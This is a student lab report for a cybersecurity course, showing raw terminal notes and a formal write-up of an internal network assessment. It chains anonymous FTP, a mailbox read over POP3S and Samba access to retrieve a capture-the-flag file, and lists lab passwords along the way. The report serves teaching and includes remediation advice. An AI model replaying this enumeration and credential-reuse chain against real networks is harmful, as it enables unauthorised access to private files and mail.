Probing Painful Points

T-401-ICYB: Lab 7

Alexander Joseph Emilsson   Alfa Reynisdóttir   Gísli Hrafn Halldórsson   Kim Anna Hudson

RANDOM DUMP FOR STUFF WE'VE FOUND/ARE DOING HERE

Gísli:

- I did `ssh gislih24@130.208.246.239` and then used the password `icyb2025lab7!?`

Services and versions on the ports:

```
gislih24@icybjump:~$ nmap -sV 130.208.246.241
Starting Nmap 7.93 ( https://nmap.org ) at 2025-12-02 10:35 EST
Nmap scan report for 130.208.246.241
Host is up (0.00015s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
7/tcp    open  echo
9/tcp    open  discard?
13/tcp   open  daytime
19/tcp   open  chargen
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
25/tcp   open  smtp        Postfix smtpd
79/tcp   open  finger      Debian fingerd
80/tcp   open  http        nginx 1.22.1
110/tcp  open  pop3        Dovecot pop3d
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 4.6.2
143/tcp  open  imap        Dovecot imapd
445/tcp  open  netbios-ssn Samba smbd 4.6.2
993/tcp  open  ssl/imap    Dovecot imapd
995/tcp  open  ssl/pop3    Dovecot pop3d
2049/tcp open  nfs_acl     3 (RPC #100227)
5000/tcp open  http        Docker Registry (API: 2.0)
6666/tcp open  irc         Hybrid ircd
6667/tcp open  irc         Hybrid ircd
6668/tcp open  irc         Hybrid ircd
6669/tcp open  irc         Hybrid ircd
Service Info: Host:  icybtarget; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit
    / .
Nmap done: 1 IP address (1 host up) scanned in 157.50 seconds
gislih24@icybjump:~$
```

To actually be able to run the various commands needed, I performed port-forwarding, for example:

```
ssh -L 8080:130.208.246.241:80 \
    -L 1445:130.208.246.241:445 \
    -L 2121:130.208.246.241:21 \
    gislih24@130.208.246.241
```

After doing the port-forwarding thing, I could do this stuff:

```
|--(kali-kali)-[~]
|-$ curl http://localhost:8080
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
```

```
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

|--(kali(K)kali)-[~]
|-$
```

The HTTP server is up and running, but this likely isn't anything juicy, so I'm moving on.

Next, I used `smbclient`:

```
|--(kali(K)kali)-[~]
|-$ smbclient -L //localhost/ -p 1445 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        labshare        Disk
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available

|--(kali(K)kali)-[~]
|-$ smbclient //localhost/labshare -p 1445 -N
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED

|--(kali(K)kali)-[~]
|-$
```

Here I've discovered that I can see the shares in the file server, but I can't actually view them directly. However, this does tell me that: Anonymous users can enumerate (list) the shares on the Samba server. Though, when I tried to log in, it won't let me, so I probably need to find the correct login information elsewhere:

```
|--(kali(K)kali)-[~]
|-$ smbclient //localhost/labshare -p 1445 -U gislih24
Password for [WORKGROUP\gislih24]:
session setup failed: NT_STATUS_LOGON_FAILURE
```

Using `ftp`:

```
|--(kali(K)kali)-[~]
|-$ ftp localhost 2121
Trying [::1]:2121 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): gislih24
530 This FTP server is anonymous only.
ftp: Login failed
ftp> ls
```

```
530 Please login with USER and PASS.
530 Please login with USER and PASS.
ftp: Can't bind for data connection: Address already in use
ftp> exit
221 Goodbye.
```

I've learned that anonymous FTP login is allowed on the internal server (which is bad, I think?).

Internal IRC server on ports 6666–6669 requires `identd` and disconnects clients without it.

Checking the Docker repo:

```
|--(kali(K)kali)-[~]
|-$ curl http://localhost:5000/v2/_catalog
{"repositories":[]}

|--(kali(K)kali)-[~]
|-$ curl http://localhost:5000/v2/
{}
|--(kali(K)kali)-[~]
|-$ curl http://localhost:5000/

|--(kali(K)kali)-[~]
|-$
```

Here we can see that there's an unauthenticated Docker repository exposed, though it doesn't seem to have any images in it right now.

Kim's method!:

SCANNING....

```
kim24@icybjump:\~$ nmap -p- -sV 130.208.246.241
Starting Nmap 7.93 (https://nmap.org/) at 2025-12-02 10:23 EST
Nmap scan report for 130.208.246.241
Host is up (0.00015s latency).
Not shown: 65502 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
25/tcp open smtp Postfix smtpd
79/tcp open finger Debian fingerd
80/tcp open http nginx 1.22.1
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC \verb|#100000|)
139/tcp open netbios-ssn Samba smbd 4.6.2
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 4.6.2
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
2049/tcp open nfs\_acl 3 (RPC \verb|#100227|)
4369/tcp open epmd Erlang Port Mapper Daemon
5000/tcp open http Docker Registry (API: 2.0)
5201/tcp open iperf3 5672/tcp open amqp RabbitMQ 3.10.8 (0-9)
6379/tcp open redis Redis key-value store 7.0.15
6665/tcp open irc Hybrid ircd 6666/tcp open irc Hybrid ircd
6667/tcp open irc Hybrid ircd 6668/tcp open irc Hybrid ircd
6669/tcp open irc Hybrid ircd 25672/tcp open unknown
36825/tcp open mountd 1-3 (RPC \verb|#100005|)
39979/tcp open mountd 1-3 (RPC \verb|#100005|)
43321/tcp open status 1 (RPC \verb|#100024|)
46337/tcp open nlockmgr 1-4 (RPC \verb|#100021|)
54499/tcp open mountd 1-3 (RPC \verb|#100005|)
Service Info: Host: icybtarget; OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.84 seconds
```

```
[kim24@icybjump:~$ ftp 130.208.246.241
Connected to 130.208.246.241
220 (vsFTPd 3.0.3.)
Name (130.208.246.241:kim24): anonymous
331 Please specify the password.
[Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
[ftp> ls
229 Entering Extended Passive Mode (|||47142|)
150 Here comes the directory listing
-rwxr-xr-x    1 0        0              41 Dec 02 11:01 notes.txt
226 Directory send OK.
```

```
[ftp> get notes.txt
local: notes.txt remote: notes.txt
229 Entering Extended Passive Mode (|||17957|)
150 Opening BINARY mode data connection for notes.txt (41 bytes).
100% |***************************************| 41         1.08 MiB/s   00:00 ETA
226 Transfer complete.
41 bytes received in 00:00 (224.93 KiB/s)
[ftp> cat notes.txt
?Invalid command.
[ftp> quit
221 Goodbye.
[kim24@icybjump:~$ cat notes.txt
smtp_user=smtpuser
smtp_pass=labpassword
```

```
[kim24@icybjump:~$ telnet 130.208.246.241 110
Trying 130.208.246.241...
Connected to 130.208.246.241.
Escape character is ’^]’.
+OK Dovecot (Debian) ready.
[USER smtpuser
-ERR [AUTH] Plaintext login disallowed over non-secure (SSL/TLS) connections.
```

```
[kim24@icybjump:~$ openssl s_client -connect 130.208.246.241:995 -quiet
Cant use SSL_get_servername
depth=0 CN = icybtarget
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = icybtarget
verify return:1
+OK Dovecot (Debian) ready.
[USER smtpuser
+OK
[PASS labpassword
+OK Logged in.
[STAT
+OK 8 2868
[LIST
+OK 8 messages:
1 448
2 448
3 448
4 457
5 457
6 457
7 0
```

```
8 153
.
[RETR 1
+OK 448 octets
Return-Path: <root@icybtarget>
X-Original-To: smtpuser
Delivered-To: smtpuser@icybtarget
Received: by icybtarget (Postfix, from userid 0)
    id DB02980CFD; Tue,  2 Dec 2025 05:57:24 -0500 (EST)
Subject: Samba Credentials
To: smtpuser@icybtarget
User-Agent: mail (GNU Mailutils 3.15)
Date: Tue, 2 Dec 2025 05:57:24 -0500 (EST)
Message-ID: <20251202105724.DB02980CFD@icybtarget>
From: root <root@icybtarget>

The Samba password is: S@mbaSecret
```

Now, using the password we got, we can do this:

```
|--(kali(K)kali)-[~]
|-$ smbclient -L //localhost/ -p 1445 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        labshare        Disk
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available

|--(kali(K)kali)-[~]
|-$ smbclient //localhost/labshare -p 1445 -U smtpuser
Password for [WORKGROUP\smtpuser]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Dec  2 10:57:24 2025
  ..                                  D        0  Tue Dec  2 10:57:24 2025
  flag.txt                            N       38  Tue Dec  2 11:26:21 2025

                64753252 blocks of size 1024. 58292724 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 38 as flag.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit

|--(kali(K)kali)-[~]
|-$ ls
autologin.exp  Documents  flag.txt  nmap_output.txt  Public     Videos
Desktop        Downloads  Music     Pictures         Templates

|--(kali(K)kali)-[~]
|-$ cat flag.txt
icyb{super_secret_lab7_flag_congrats}

|--(kali(K)kali)-[~]
|-$
```

Executive Summary

An internal network security audit was performed against the Baker Street Society's internal infrastructure. Using a controlled jump host, we mapped the internal subnet, identified the live hosts, and conducted full TCP port scans on the reachable systems. The primary target at `130.208.246.241` exposed a wide attack surface, including anonymous FTP access, a misconfigured mail stack and a Samba file server. By chaining together these misconfigurations we were able to retrieve SMTP credentials from an anonymous FTP share, reuse them to access the user's mailbox over POP3S, recover the Samba password from an internal email, and finally authenticate to a protected SMB share. This resulted in successful exfiltration

of the sensitive file `flag.txt`, which contained the assessment Flag `icyb{super_secret_lab7_flag_congrats}`. The report documents the discovery process, exploitation path and concrete remediation steps to close the identified gaps.

I. INTRODUCTION

The Baker Street Society engaged our team to perform an "inside job" style assessment of a small internal network. The objective was to model what an attacker with internal access (for example via a compromised workstation or a malicious insider) could achieve without leaving the bounds of the authorised scope.

We were given access to an internal jump host and instructed to map the local subnet, identify active systems and enumerate the services that were exposed internally. From there, our goal was to locate security weaknesses, demonstrate a realistic exploitation path, and ultimately recover a preplanted Flag file from the environment. This report describes the methodology, findings and recommended mitigations.

II. METHODOLOGY

All testing was performed from the provided jump host `icybjump` using standard penetration testing tools on multiple different Unix-based workstations (Kali Linux, macOS, and more).

A. *Tools*

The primary tools and commands used were:

- **`nmap`** for host discovery and comprehensive TCP port scanning.
- **`SSH`** with local port forwarding to reach internal services (HTTP, SMB, FTP, Docker registry) from our machines.
- **`curl`** for testing HTTP and the Docker registry API.
- **`smbclient`** for enumerating and accessing Samba/SMB shares.
- **`ftp`** for interacting with the anonymous FTP service.
- **`telnet`** and **`openssl s_client`** for interacting with mail services (POP3 / POP3S).

B. *Scope and Constraints*

The authorised scope consisted of:

- The local subnet that the jump host belonged to.
- Systems directly reachable from the jump host within that subnet.
- Services exposed by those systems over TCP.

We took care not to scan or attack targets beyond the specified range. All tests were limited to passive enumeration and exploitation of misconfigurations on in-scope hosts.

III. PHASE 1: NETWORK MAPPING (THE MAP)

A. *Port Scanning Results*

From the jump host `icybjump` (130.208.246.239), analysis focused on the target `icybtarget` (130.208.246.241). We performed a full TCP port scan with service and version detection against the target:

```
nmap -p- -sV 130.208.246.241
```

Listing 1. Full TCP port scan with service detection

The scan identified a large number of open ports and services:

In addition to the above, several RPC and NFS-related ports (such as `mountd`, `nlockmgr` and `status`) were also open.

The breadth of services indicated a rich internal attack surface and multiple possible avenues for lateral movement.

IV. PHASE 2: SERVICE ENUMERATION

In this phase we moved beyond simply listing open ports and actively interacted with the services to understand how they were configured and what data they exposed.

TABLE I
SELECTED OPEN PORTS ON 130.208.246.241

Port	Service	Notes
21/tcp	FTP	vsftpd 3.0.3 (anonymous only)
22/tcp	SSH	OpenSSH 9.2p1 (Debian)
25/tcp	SMTP	Postfix smtpd
79/tcp	finger	Debian fingerd
80/tcp	HTTP	nginx 1.22.1 default page
110/tcp	POP3	Dovecot pop3d
143/tcp	IMAP	Dovecot imapd
993/tcp	IMAPS	Dovecot imapd (SSL)
995/tcp	POP3S	Dovecot pop3d (SSL)
139/tcp	NetBIOS-SSN	Samba smbd 4.6.2
445/tcp	SMB	Samba smbd 4.6.2
2049/tcp	NFS	NFS related services
4369/tcp	epmd	Erlang Port Mapper
5000/tcp	HTTP	Docker Registry API 2.0
5201/tcp	iperf3	Performance testing service
5672/tcp	AMQP	RabbitMQ 3.10.8
6379/tcp	redis	Redis 7.0.15
6665–6669/tcp	IRC	Hybrid ircd

A. HTTP and Port Forwarding

Direct access to the internal services from our machines was not possible, so throughout the lab we established SSH local port forwarding through the jump host:

```
ssh -L 8080:130.208.246.241:80 \
    -L 1445:130.208.246.241:445 \
    -L 2121:130.208.246.241:21 \
    gislih24@130.208.246.241
```

Listing 2. SSH local port forwarding from Kali

This allowed us to reach the internal HTTP, SMB and FTP services via `localhost` on our machines.

Checking the HTTP service showed a stock nginx installation:

```
curl http://localhost:8080
```

Listing 3. Enumerating the HTTP service

The response was the default “Welcome to nginx!” page, suggesting that the web server itself did not expose any interesting custom applications for this lab.

B. SMB / Samba Enumeration

Using the forwarded SMB port, we queried the list of available shares:

```
smbclient -L //localhost/ -p 1445 -N
```

Listing 4. Listing SMB shares anonymously

The server allowed anonymous enumeration of shares and revealed a share named `labshare`. However, direct access without credentials was denied:

```
smbclient //localhost/labshare -p 1445 -N
```

Listing 5. Attempting access to `labshare`

This demonstrated that while the Samba configuration prevented anonymous access to the share contents, it did leak the share name to unauthenticated users.

C. FTP Service

The FTP service on port 21/tcp (forwarded to 2121 locally) was configured for anonymous-only access. Logging in as the jump user `gislih24` failed, but anonymous FTP was permitted:

```
ftp localhost 2121
Name (localhost:kali): anonymous
```

Listing 6. Anonymous FTP access

From the jump host, the same behaviour was observed when connecting directly to `icybtarget`:

```
ftp 130.208.246.241
Name (130.208.246.241:kim24): anonymous
...
ftp> ls
-rwxr-xr-x    1 0   0    41 Dec 02 11:01 notes.txt
ftp> get notes.txt
ftp> quit
cat notes.txt
smtp_user=smtpuser
smtp_pass=labpassword
```

Listing 7. Retrieving `notes.txt` via anonymous FTP

The file `notes.txt` contained hard-coded SMTP login information in plain text, which became the pivot for the rest of the attack chain.

D. Mail Services (SMTP / POP3S)

The mail stack consisted of Postfix (SMTP) and Dovecot (POP3/IMAP). When we attempted to use the recovered `smtpuser` credentials over unencrypted POP3, Dovecot correctly refused plaintext authentication on a non-TLS connection:

```
telnet 130.208.246.241 110
+OK Dovecot (Debian) ready.
USER smtpuser
-ERR [AUTH] Plaintext login disallowed over non-secure (SSL/TLS) connections.
```

Listing 8. Plaintext login correctly refused on POP3

However, connecting over POP3S (port 995) using `openssl s_client` allowed us to authenticate successfully:

```
openssl s_client -connect 130.208.246.241:995 -quiet
+OK Dovecot (Debian) ready.
USER smtpuser
+OK
PASS labpassword
+OK Logged in.
STAT
LIST
RETR 1
```

Listing 9. Accessing the `smtpuser` mailbox over POP3S

Message 1 was an email from `root@icybtarget` containing the Samba password:

```
Subject: Samba Credentials
From: root <root@icybtarget>

The Samba password is: S@mbaSecret
```

Listing 10. Email disclosing Samba credentials

E. Docker Registry and Other Services

The internal Docker registry on port 5000/tcp was reachable without authentication, but it appeared to be empty:

```
curl http://localhost:5000/v2/_catalog
{"repositories":[]}
```

Listing 11. Querying the Docker registry

An IRC service, Redis, RabbitMQ and several NFS-related ports were also accessible. For this engagement we did not fully exploit those services, since a complete attack path to the Flag was already achievable via FTP, mail and SMB. Nonetheless, their presence increases the internal attack surface and could be leveraged in a more extensive assessment.

V. Phase 3: The Breach (Primary Vector)

The successful exploitation chain combined several misconfigurations and poor credential handling practices. The steps were as follows:

A. *The Vulnerability*

The primary weaknesses were:

- Anonymous FTP access exposing a configuration file with hard-coded SMTP credentials.
- Use of those credentials for an internal user (`smtpuser`) whose mailbox contained further sensitive information.
- An email from `root` storing the Samba password for that same user in clear text.
- A Samba share (`labshare`) accessible to `smtpuser` that contained the Flag.

B. *The Execution*

The exploitation steps can be summarised as:

1) **Retrieve SMTP credentials from FTP**

```
ftp 130.208.246.241
Name (130.208.246.241:kim24): anonymous
ftp> get notes.txt
ftp> quit
cat notes.txt
# smtp_user=smtpuser
# smtp_pass=labpassword
```

2) **Log into the smtpuser mailbox over POP3S**

```
openssl s_client -connect 130.208.246.241:995 -quiet
+OK Dovecot (Debian) ready.
USER smtpuser
+OK
PASS labpassword
+OK Logged in.
RETR 1
# Email reveals: The Samba password is: S@mbaSecret
```

3) **Authenticate to the SMB share using the recovered password**
   With port forwarding in place, we used `smbclient` from Kali:

```
smbclient -L //localhost/ -p 1445 -N

smbclient //localhost/labshare -p 1445 -U smtpuser
Password for [WORKGROUP\smtpuser]: S@mbaSecret
smb: \> ls
  flag.txt                            N       38  Tue Dec  2 11:26:21 2025
smb: \> get flag.txt
smb: \> exit
```

C. *The Loot*

The retrieved file `flag.txt` contained the Flag value:

```
cat flag.txt
icyb{super_secret_lab7_flag_congrats}
```

This confirmed that the chained vulnerabilities allowed full compromise of the intended target data.

VI. Phase 4: Alternative Vectors (The Bonus)

While the FTP → mail → SMB chain was sufficient to obtain the Flag, the environment exposed several additional services that could be abused in a real-world engagement:

- **Redis (6379/tcp):** Running without authentication on an internal network is risky. Attackers can often write SSH keys or manipulate application data.
- **RabbitMQ (5672/tcp):** A message broker that, if left misconfigured, could leak messages or be used to pivot into backend systems.

- **Docker Registry (5000/tcp):** An unauthenticated registry could expose sensitive container images, configuration files or embedded secrets. In this environment it was empty, but in production it would be high value.
- **IRC (6665–6669/tcp):** The IRC server required `identd` and disconnected clients without it. In a more complete attack chain, IRC could be used for command-and-control or exfiltration.
- **NFS and RPC services:** Multiple NFS-related ports were open. Depending on exports, these may allow direct access to file systems from other internal hosts.

Due to time constraints and the clear primary path to the Flag, these vectors were not fully exploited, but they illustrate how over-exposed internal services complicate the organisation's security posture.

VII. Remediation

To remediate the issues identified in this assessment, we recommend the following concrete actions:

- **Disable anonymous FTP:** Require authenticated access and use SFTP or FTPS instead of plain FTP wherever possible.
- **Eliminate hard-coded credentials:** Remove the `notes.txt` file and avoid storing usernames and passwords in world-readable locations. Use a secrets manager or environment variables with strict permissions.
- **Avoid emailing passwords:** Do not send service passwords via email, even internally. Instead, use secure out-of-band mechanisms and enforce password rotation.
- **Harden Samba:**
  - Restrict share access to only those users and groups that require it.
  - Disable anonymous share enumeration where possible.
  - Audit Samba logs regularly for unusual access patterns.
- **Restrict internal services with a firewall:** Limit exposure of Redis, RabbitMQ, NFS, IRC and the Docker registry to only the hosts that strictly need them. Use host-based firewalls or internal segmentation.
- **Secure the Docker registry:** Require authentication, enable TLS and implement access control to prevent unauthorised pulls or pushes.
- **Service minimisation:** Disable any unused services on `icybtarget` to reduce the overall attack surface.
- **Monitoring and logging:** Ensure that authentication failures, share accesses, FTP logins and registry operations are logged and monitored for anomalies.

Implementing these measures would significantly raise the bar for an attacker attempting to replicate the steps we performed.

VIII. The Flag

For completeness, the recovered Flag is shown below:

```
icyb{super_secret_lab7_flag_congrats}
```

IX. Reflection

This lab provided a hands-on look at how seemingly minor internal misconfigurations can be chained together into a full compromise. Working directly with tools like `nmap`, `smbclient`, `ftp` and `openssl s_client` made the theory from lectures much more concrete. In particular, it was eye-opening to see how quickly an attacker can move once a single set of credentials is exposed, and how important it is to think about internal services with the same level of care as public-facing systems. Getting more hands-on has been both intuitive and fun, and it clarified how different protocols fit together in a real network.

X. Conclusion

The internal assessment of the Baker Street Society's network demonstrated that an attacker with access to the jump host could, through a series of misconfigurations, escalate from anonymous FTP access to full read access on a sensitive Samba share. The key issues were poor credential hygiene and over-exposed internal services. While some controls (such as refusing plaintext mail login on non-TLS connections) were correctly implemented, they were undermined by the practice of storing and emailing passwords in clear text.

By disabling anonymous services, tightening access control, removing hard-coded secrets and reducing the exposed service surface, the organisation can substantially improve its internal security posture and prevent the type of attack demonstrated in this lab.